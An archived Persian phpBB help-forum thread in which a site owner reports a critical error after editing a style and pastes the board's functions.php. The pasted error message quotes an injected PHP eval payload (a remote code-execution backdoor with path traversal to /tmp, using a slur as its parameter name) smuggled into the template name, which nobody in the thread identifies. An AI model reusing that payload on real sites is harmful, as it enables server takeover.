از کار افتادن فروم بعد از دستکاری استیل -

واضح آرشیو وب فارسی:سایت ریسک: t=40533">از کار افتادن فروم بعد از دستکاری استیل m-r-r 25 مهر 1384, 07:40وقتی صفحه اول فروم رو باز میکنم این پیام خطا گزارش میشه : phpBB : Critical Error Could not open aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp template config file DEBUG MODE Line : 335 File : /home/firooz/public_html/forum/includes/functions.php فایل فانکشن رو هم که باز میکنم در سطر 335 دارم : $template = new Template($phpbb_root_path . $template_path . $template_name); محتوای کلی فایل : <?php /************************************************** ************************* * functions.php * ------------------- * begin : Saturday, Feb 13, 2001 * copyright : (C) 2001 The phpBB Group * email : [email protected] * * $Id: functions.php,v 1.133.2.33 2004/11/18 17:49:42 acydburn Exp $ * * ************************************************** *************************/ /************************************************** ************************* * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * ************************************************** *************************/ function get_db_stat($mode) { global $db; switch( $mode ) { case usercount: $sql = "SELECT COUNT(user_id) AS total FROM " . USERS_TABLE . " WHERE user_id <> " . ANONYMOUS; break; case newestuser: $sql = "SELECT user_id, username FROM " . USERS_TABLE . " WHERE user_id <> " . ANONYMOUS . " ORDER BY user_id DESC LIMIT 1"; break; case postcount: case topiccount: $sql = "SELECT SUM(forum_topics) AS topic_total, SUM(forum_posts) AS post_total FROM " . FORUMS_TABLE; break; } if ( !($result = $db->sql_query($sql)) ) { return false; } $row = $db->sql_fetchrow($result); switch ( $mode ) { case usercount: return $row[total]; break; case newestuser: return $row; break; case postcount: return $row[post_total]; break; case topiccount: return $row[topic_total]; break; } return false; } // added at phpBB 2.0.11 to properly format the username function phpbb_clean_username($username) { $username = htmlspecialchars(rtrim(trim($username), "")); $username = substr(str_replace("", "", $username), 0, 25); $username = str_replace("", "", $username); return $username; } // // Get Userdata, $user can be username or user_id. If force_str is true, the username will be forced. // function get_userdata($user, $force_str = false) { global $db; if (intval($user) == 0 || $force_str) { $user = phpbb_clean_username($user); } else { $user = intval($user); } $sql = "SELECT * FROM " . USERS_TABLE . " WHERE "; $sql .= ( ( is_integer($user) ) ? "user_id = $user" : "username = " . $user . "" ) . " AND user_id <> " . ANONYMOUS; if ( !($result = $db->sql_query($sql)) ) { message_die(GENERAL_ERROR, Tried obtaining data for a non-existent user, , __LINE__, __FILE__, $sql); } return ( $row = $db->sql_fetchrow($result) ) ? $row : false; } function make_jumpbox($action, $match_forum_id = 0) { global $template, $userdata, $lang, $db, $nav_links, $phpEx, $SID; // $is_auth = auth(AUTH_VIEW, AUTH_LIST_ALL, $userdata); $sql = "SELECT c.cat_id, c.cat_title, c.cat_order FROM " . CATEGORIES_TABLE . " c, " . FORUMS_TABLE . " f WHERE f.cat_id = c.cat_id GROUP BY c.cat_id, c.cat_title, c.cat_order ORDER BY c.cat_order"; if ( !($result = $db->sql_query($sql)) ) { message_die(GENERAL_ERROR, "Couldnt obtain category list.", "", __LINE__, __FILE__, $sql); } $category_rows = array(); while ( $row = $db->sql_fetchrow($result) ) { $category_rows[] = $row; } if ( $total_categories = count($category_rows) ) { $sql = "SELECT * FROM " . FORUMS_TABLE . " ORDER BY cat_id, forum_order"; if ( !($result = $db->sql_query($sql)) ) { message_die(GENERAL_ERROR, Could not obtain forums information, , __LINE__, __FILE__, $sql); } $boxstring = <select name=" . POST_FORUM_URL . " onchange="if(this.options[this.selectedIndex].value != -1){ forms[jumpbox].submit() }"><option value="-1"> . $lang[Select_forum] . </option>; $forum_rows = array(); while ( $row = $db->sql_fetchrow($result) ) { $forum_rows[] = $row; } if ( $total_forums = count($forum_rows) ) { for($i = 0; $i < $total_categories; $i++) { $boxstring_forums = ; for($j = 0; $j < $total_forums; $j++) { if ( $forum_rows[$j][cat_id] == $category_rows[$i][cat_id] && $forum_rows[$j][auth_view] <= AUTH_REG ) { // if ( $forum_rows[$j][cat_id] == $category_rows[$i][cat_id] && $is_auth[$forum_rows[$j][forum_id]][auth_view] ) // { $selected = ( $forum_rows[$j][forum_id] == $match_forum_id ) ? selected="selected" : ; $boxstring_forums .= <option value=" . $forum_rows[$j][forum_id] . " . $selected . > . $forum_rows[$j][forum_name] . </option>; // // Add an array to $nav_links for the Mozilla navigation bar. // chapter and forum can create multiple items, therefore we are using a nested array. // $nav_links[chapter forum][$forum_rows[$j][forum_id]] = array ( url => append_sid("viewforum.$phpEx?" . POST_FORUM_URL . "=" . $forum_rows[$j][forum_id]), title => $forum_rows[$j][forum_name] ); } } if ( $boxstring_forums != ) { $boxstring .= <option value="-1"> </option>; $boxstring .= <option value="-1"> . $category_rows[$i][cat_title] . </option>; $boxstring .= <option value="-1">----------------</option>; $boxstring .= $boxstring_forums; } } } $boxstring .= </select>; } else { $boxstring .= <select name=" . POST_FORUM_URL . " onchange="if(this.options[this.selectedIndex].value != -1){ forms[jumpbox].submit() }"></select>; } // Let the jumpbox work again in sites having additional session id checks. // if ( !empty($SID) ) // { $boxstring .= <input type="hidden" name="sid" value=" . $userdata[session_id] . " />; // } $template->set_filenames(array( jumpbox => jumpbox.tpl) ); $template->assign_vars(array( L_GO => $lang[Go], L_JUMP_TO => $lang[Jump_to], L_SELECT_FORUM => $lang[Select_forum], S_JUMPBOX_SELECT => $boxstring, S_JUMPBOX_ACTION => append_sid($action)) ); $template->assign_var_from_handle(JUMPBOX, jumpbox); return; } // // Initialise user settings on page load function init_userprefs($userdata) { global $board_config, $theme, $images; global $template, $lang, $phpEx, $phpbb_root_path; global $nav_links; if ( $userdata[user_id] != ANONYMOUS ) { if ( !empty($userdata[user_lang])) { $board_config[default_lang] = $userdata[user_lang]; } if ( !empty($userdata[user_dateformat]) ) { $board_config[default_dateformat] = $userdata[user_dateformat]; } if ( isset($userdata[user_timezone]) ) { $board_config[board_timezone] = $userdata[user_timezone]; } } if ( !file_exists(@phpbb_realpath($phpbb_root_path . language/lang_ . $board_config[default_lang] . /lang_main..$phpEx)) ) { $board_config[default_lang] = english; } include($phpbb_root_path . language/lang_ . $board_config[default_lang] . /lang_main. . $phpEx); if ( defined(IN_ADMIN) ) { if( !file_exists(@phpbb_realpath($phpbb_root_path . language/lang_ . $board_config[default_lang] . /lang_admin..$phpEx)) ) { $board_config[default_lang] = english; } include($phpbb_root_path . language/lang_ . $board_config[default_lang] . /lang_admin. . $phpEx); } // // Set up style // if ( !$board_config[override_user_style] ) { if ( $userdata[user_id] != ANONYMOUS && $userdata[user_style] > 0 ) { if ( $theme = setup_style($userdata[user_style]) ) { return; } } } $theme = setup_style($board_config[default_style]); // // Mozilla navigation bar // Default items that should be valid on all pages. // Defined here to correctly assign the Language Variables // and be able to change the variables within code. // $nav_links[top] = array ( url => append_sid($phpbb_root_path . index. . $phpEx), title => sprintf($lang[Forum_Index], $board_config[sitename]) ); $nav_links[search] = array ( url => append_sid($phpbb_root_path . search. . $phpEx), title => $lang[Search] ); $nav_links[help] = array ( url => append_sid($phpbb_root_path . faq. . $phpEx), title => $lang[FAQ] ); $nav_links[author] = array ( url => append_sid($phpbb_root_path . memberlist. . $phpEx), title => $lang[Memberlist] ); return; } function setup_style($style) { global $db, $board_config, $template, $images, $phpbb_root_path; $sql = "SELECT * FROM " . THEMES_TABLE . " WHERE themes_id = $style"; if ( !($result = $db->sql_query($sql)) ) { message_die(CRITICAL_ERROR, Could not query database for theme info); } if ( !($row = $db->sql_fetchrow($result)) ) { message_die(CRITICAL_ERROR, "Could not get theme data for themes_id [$style]"); } $template_path = templates/ ; $template_name = $row[template_name] ; $template = new Template($phpbb_root_path . $template_path . $template_name); if ( $template ) { $current_template_path = $template_path . $template_name; @include($phpbb_root_path . $template_path . $template_name . / . $template_name . .cfg); if ( !defined(TEMPLATE_CONFIG) ) { message_die(CRITICAL_ERROR, "Could not open $template_name template config file", , __LINE__, __FILE__); } $img_lang = ( file_exists(@phpbb_realpath($phpbb_root_path . $current_template_path . /images/lang_ . $board_config[default_lang])) ) ? $board_config[default_lang] : english; while( list($key, $value) = @each($images) ) { if ( !is_array($value) ) { $images[$key] = str_replace({LANG}, lang_ . $img_lang, $value); } } } return $row; } function encode_ip($dotquad_ip) { $ip_sep = explode(., $dotquad_ip); return sprintf(%02x%02x%02x%02x, $ip_sep[0], $ip_sep[1], $ip_sep[2], $ip_sep[3]); } function decode_ip($int_ip) { $hexipbang = explode(., chunk_split($int_ip, 2, .)); return hexdec($hexipbang[0]). . . hexdec($hexipbang[1]) . . . hexdec($hexipbang[2]) . . . hexdec($hexipbang[3]); } // // Create date/time from format and timezone // function create_date($format, $gmepoch, $tz) { global $board_config, $lang; static $translate; if ( empty($translate) && $board_config[default_lang] != english ) { @reset($lang[datetime]); while ( list($match, $replace) = @each($lang[datetime]) ) { $translate[$match] = $replace; } } return ( !empty($translate) ) ? strtr(@gmdate($format, $gmepoch + (3600 * $tz)), $translate) : @gmdate($format, $gmepoch + (3600 * $tz)); } // // Pagination routine, generates // page number sequence // function generate_pagination($base_url, $num_items, $per_page, $start_item, $add_prevnext_text = TRUE) { global $lang; $total_pages = ceil($num_items/$per_page); if ( $total_pages == 1 ) { return ; } $on_page = floor($start_item / $per_page) + 1; $page_string = ; if ( $total_pages > 10 ) { $init_page_max = ( $total_pages > 3 ) ? 3 : $total_pages; for($i = 1; $i < $init_page_max + 1; $i++) { $page_string .= ( $i == $on_page ) ? <b> . $i . </b> : <a href=" . append_sid($base_url . "&start=" . ( ( $i - 1 ) * $per_page ) ) . "> . $i . </a>; if ( $i < $init_page_max ) { $page_string .= ", "; } } if ( $total_pages > 3 ) { if ( $on_page > 1 && $on_page < $total_pages ) { $page_string .= ( $on_page > 5 ) ? ... : , ; $init_page_min = ( $on_page > 4 ) ? $on_page : 5; $init_page_max = ( $on_page < $total_pages - 4 ) ? $on_page : $total_pages - 4; for($i = $init_page_min - 1; $i < $init_page_max + 2; $i++) { $page_string .= ($i == $on_page) ? <b> . $i . </b> : <a href=" . append_sid($base_url . "&start=" . ( ( $i - 1 ) * $per_page ) ) . "> . $i . </a>; if ( $i < $init_page_max + 1 ) { $page_string .= , ; } } $page_string .= ( $on_page < $total_pages - 4 ) ? ... : , ; } else { $page_string .= ... ; } for($i = $total_pages - 2; $i < $total_pages + 1; $i++) { $page_string .= ( $i == $on_page ) ? <b> . $i . </b> : <a href=" . append_sid($base_url . "&start=" . ( ( $i - 1 ) * $per_page ) ) . "> . $i . </a>; if( $i < $total_pages ) { $page_string .= ", "; } } } } else { for($i = 1; $i < $total_pages + 1; $i++) { $page_string .= ( $i == $on_page ) ? <b> . $i . </b> : <a href=" . append_sid($base_url . "&start=" . ( ( $i - 1 ) * $per_page ) ) . "> . $i . </a>; if ( $i < $total_pages ) { $page_string .= , ; } } } if ( $add_prevnext_text ) { if ( $on_page > 1 ) { $page_string = <a href=" . append_sid($base_url . "&start=" . ( ( $on_page - 2 ) * $per_page ) ) . "> . $lang[Previous] . </a>   . $page_string; } if ( $on_page < $total_pages ) { $page_string .=   <a href=" . append_sid($base_url . "&start=" . ( $on_page * $per_page ) ) . "> . $lang[Next] . </a>; } } $page_string = $lang[Goto_page] . . $page_string; return $page_string; } // // This does exactly what preg_quote() does in PHP 4-ish // If you just need the 1-parameter preg_quote call, then dont bother using this. // function phpbb_preg_quote($str, $delimiter) { $text = preg_quote($str); $text = str_replace($delimiter, . $delimiter, $text); return $text; } // // Obtain list of naughty words and build preg style replacement arrays for use by the // calling script, note that the vars are passed as references this just makes it easier // to return both sets of arrays // function obtain_word_list(&$orig_word, &$replacement_word) { global $db; // // Define censored word matches // $sql = "SELECT word, replacement FROM " . WORDS_TABLE; if( !($result = $db->sql_query($sql)) ) { message_die(GENERAL_ERROR, Could not get censored words from database, , __LINE__, __FILE__, $sql); } if ( $row = $db->sql_fetchrow($result) ) { do { $orig_word[] = #( . str_replace(*, w*?, phpbb_preg_quote($row[word], #)) . )#i; $replacement_word[] = $row[replacement]; } while ( $row = $db->sql_fetchrow($result) ); } return true; } // // This is general replacement for die(), allows templated // output in users (or default) language, etc. // // $msg_code can be one of these constants: // // GENERAL_MESSAGE : Use for any simple text message, eg. results // of an operation, authorisation failures, etc. // // GENERAL ERROR : Use for any error which occurs _AFTER_ the // common.php include and session code, ie. most errors in // pages/functions // // CRITICAL_MESSAGE : Used when basic config data is available but // a session may not exist, eg. banned users // // CRITICAL_ERROR : Used when config data cannot be obtained, eg // no database connection. Should _not_ be used in 99.5% of cases // function message_die($msg_code, $msg_text = , $msg_title = , $err_line = , $err_file = , $sql = ) { global $db, $template, $board_config, $theme, $lang, $phpEx, $phpbb_root_path, $nav_links, $gen_simple_header, $images; global $userdata, $user_ip, $session_length; global $starttime; if(defined(HAS_DIED)) { die("message_die() was called multiple times. This isnt supposed to happen. Was message_die() used in page_tail.php?"); } define(HAS_DIED, 1); $sql_store = $sql; // // Get SQL error if we are debugging. Do this as soon as possible to prevent // subsequent queries from overwriting the status of sql_error() // if ( DEBUG && ( $msg_code == GENERAL_ERROR || $msg_code == CRITICAL_ERROR ) ) { $sql_error = $db->sql_error(); $debug_text = ; if ( $sql_error[message] != ) { $debug_text .= <br /><br />SQL Error : . $sql_error[code] . . $sql_error[message]; } if ( $sql_store != ) { $debug_text .= "<br /><br />$sql_store"; } if ( $err_line != && $err_file != ) { $debug_text .= </br /><br />Line : . $err_line . <br />File : . $err_file; } } if( empty($userdata) && ( $msg_code == GENERAL_MESSAGE || $msg_code == GENERAL_ERROR ) ) { $userdata = session_pagestart($user_ip, PAGE_INDEX); init_userprefs($userdata); } // // If the header hasnt been output then do it // if ( !defined(HEADER_INC) && $msg_code != CRITICAL_ERROR ) { if ( empty($lang) ) { if ( !empty($board_config[default_lang]) ) { include($phpbb_root_path . language/lang_ . $board_config[default_lang] . /lang_main..$phpEx); } else { include($phpbb_root_path . language/lang_english/lang_main..$phpEx); } } if ( empty($template) ) { $template = new Template($phpbb_root_path . templates/ . $board_config[board_template]); } if ( empty($theme) ) { $theme = setup_style($board_config[default_style]); } // // Load the Page Header // if ( !defined(IN_ADMIN) ) { include($phpbb_root_path . includes/page_header..$phpEx); } else { include($phpbb_root_path . admin/page_header_admin..$phpEx); } } switch($msg_code) { case GENERAL_MESSAGE: if ( $msg_title == ) { $msg_title = $lang[Information]; } break; case CRITICAL_MESSAGE: if ( $msg_title == ) { $msg_title = $lang[Critical_Information]; } break; case GENERAL_ERROR: if ( $msg_text == ) { $msg_text = $lang[An_error_occured]; } if ( $msg_title == ) { $msg_title = $lang[General_Error]; } break; case CRITICAL_ERROR: // // Critical errors mean we cannot rely on _ANY_ DB information being // available so were going to dump out a simple echod statement // include($phpbb_root_path . language/lang_english/lang_main..$phpEx); if ( $msg_text == ) { $msg_text = $lang[A_critical_error]; } if ( $msg_title == ) { $msg_title = phpBB : <b> . $lang[Critical_Error] . </b>; } break; } // // Add on DEBUG info if weve enabled debug mode and this is an error. This // prevents debug info being output for general messages should DEBUG be // set TRUE by accident (preventing confusion for the end user!) // if ( DEBUG && ( $msg_code == GENERAL_ERROR || $msg_code == CRITICAL_ERROR ) ) { if ( $debug_text != ) { $msg_text = $msg_text . <br /><br /><b><u>DEBUG MODE</u></b> . $debug_text; } } if ( $msg_code != CRITICAL_ERROR ) { if ( !empty($lang[$msg_text]) ) { $msg_text = $lang[$msg_text]; } if ( !defined(IN_ADMIN) ) { $template->set_filenames(array( message_body => message_body.tpl) ); } else { $template->set_filenames(array( message_body => admin/admin_message_body.tpl) ); } $template->assign_vars(array( MESSAGE_TITLE => $msg_title, MESSAGE_TEXT => $msg_text) ); $template->pparse(message_body); if ( !defined(IN_ADMIN) ) { include($phpbb_root_path . includes/page_tail..$phpEx); } else { include($phpbb_root_path . admin/page_footer_admin..$phpEx); } } else { echo "<html> <body> " . $msg_title . " <br /><br /> " . $msg_text . "</body> </html>"; } exit; } // // This function is for compatibility with PHP 4.xs realpath() // function. In later versions of PHP, it needs to be called // to do checks with some functions. Older versions of PHP dont // seem to need this, so well just return the original value. // dougk_ff7 <October 5, 2002> function phpbb_realpath($path) { global $phpbb_root_path, $phpEx; return (!@function_exists(realpath) || !@realpath($phpbb_root_path . includes/functions..$phpEx)) ? $path : @realpath($path); } function redirect($url) { global $db, $board_config; if (!empty($db)) { $db->sql_close(); } if (strstr(urldecode($url), " ") || strstr(urldecode($url), " ")) { message_die(GENERAL_ERROR, Tried to redirect to potentially insecure url.); } $server_protocol = ($board_config[cookie_secure]) ? : $server_name = preg_replace(#^/?(.*?)/?$#, 1, trim($board_config[server_name])); $server_port = ($board_config[server_port] <> 80) ? : . trim($board_config[server_port]) : ; $script_name = preg_replace(#^/?(.*?)/?$#, 1, trim($board_config[script_path])); $script_name = ($script_name == ) ? $script_name : / . $script_name; $url = preg_replace(#^/?(.*?)/?$#, /1, trim($url)); // Redirect via an HTML form for PITA webservers if (@preg_match(/Microsoft|WebSTAR|Xitami/, getenv(SERVER_SOFTWARE))) { header(Refresh: 0; URL= . $server_protocol . $server_name . $server_port . $script_name . $url); echo <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta "Content-Type" content="text/html; charset=iso-8859-1"><meta "refresh" content="0; url= . $server_protocol . $server_name . $server_port . $script_name . $url . "><title>Redirect</title></head><body><div align="center">If your browser does not support meta redirection please click <a href=" . $server_protocol . $server_name . $server_port . $script_name . $url . ">HERE</a> to be redirected</div></body></html>; exit; } // Behave as per spec for others header(Location: . $server_protocol . $server_name . $server_port . $script_name . $url); exit; } ?> مشکل از کجا میتونه باشه ؟ Hyper 25 مهر 1384, 19:54چی رو دستکاری کردید ؟

این صفحه را در گوگل محبوب کنید

[ارسال شده از: سایت ریسک]

[مشاهده در: www.ri3k.eu]

[تعداد بازديد از اين مطلب: 972]

اضافه شدن مطلب/حذف مطلب

صفحات پیشنهادی

از کار افتادن فروم بعد از دستکاری استیل -
از کار افتادن فروم بعد از دستکاری استیل --t=40533 >از کار افتادن فروم بعد از دستکاری استیل m-r-r 25 مهر 1384, 07:40وقتی صفحه اول فروم رو باز میکنم این پیام ...

گوناگون

خالی شدن گاز یخچال علائم و دلایل

بدون نیاز به چک و ودیعه خودرو اجاره کنید

مزیت اجاره خودرو برای کاهش هزینه ها در سفر

بهترین آموزشگاه خیاطی تهران کجاست؟

طراحی دکوراسیون اداری با شرکت طراحی و معماری شیپ

چگونه از خرابی شین برق‌رسان جلوگیری کنیم؟

راهنمای خرید بهترین دستگاه تصفیه هوا خانگی برای کاهش اثر آ...

معرفی شرکت نورگستر بسحق: پیشرو در صنعت روشنایی خودرو

تأثیرات پنهان آب سخت بر شبکه‌های آبرسانی و تجهیزات تصفیه آ...

مقایسه عملکرد جرثقیل سقفی و جرثقیل بازویی در محیط‌های کاری

مزایای آستر مدول الیاف سرامیکی یا زد بلوک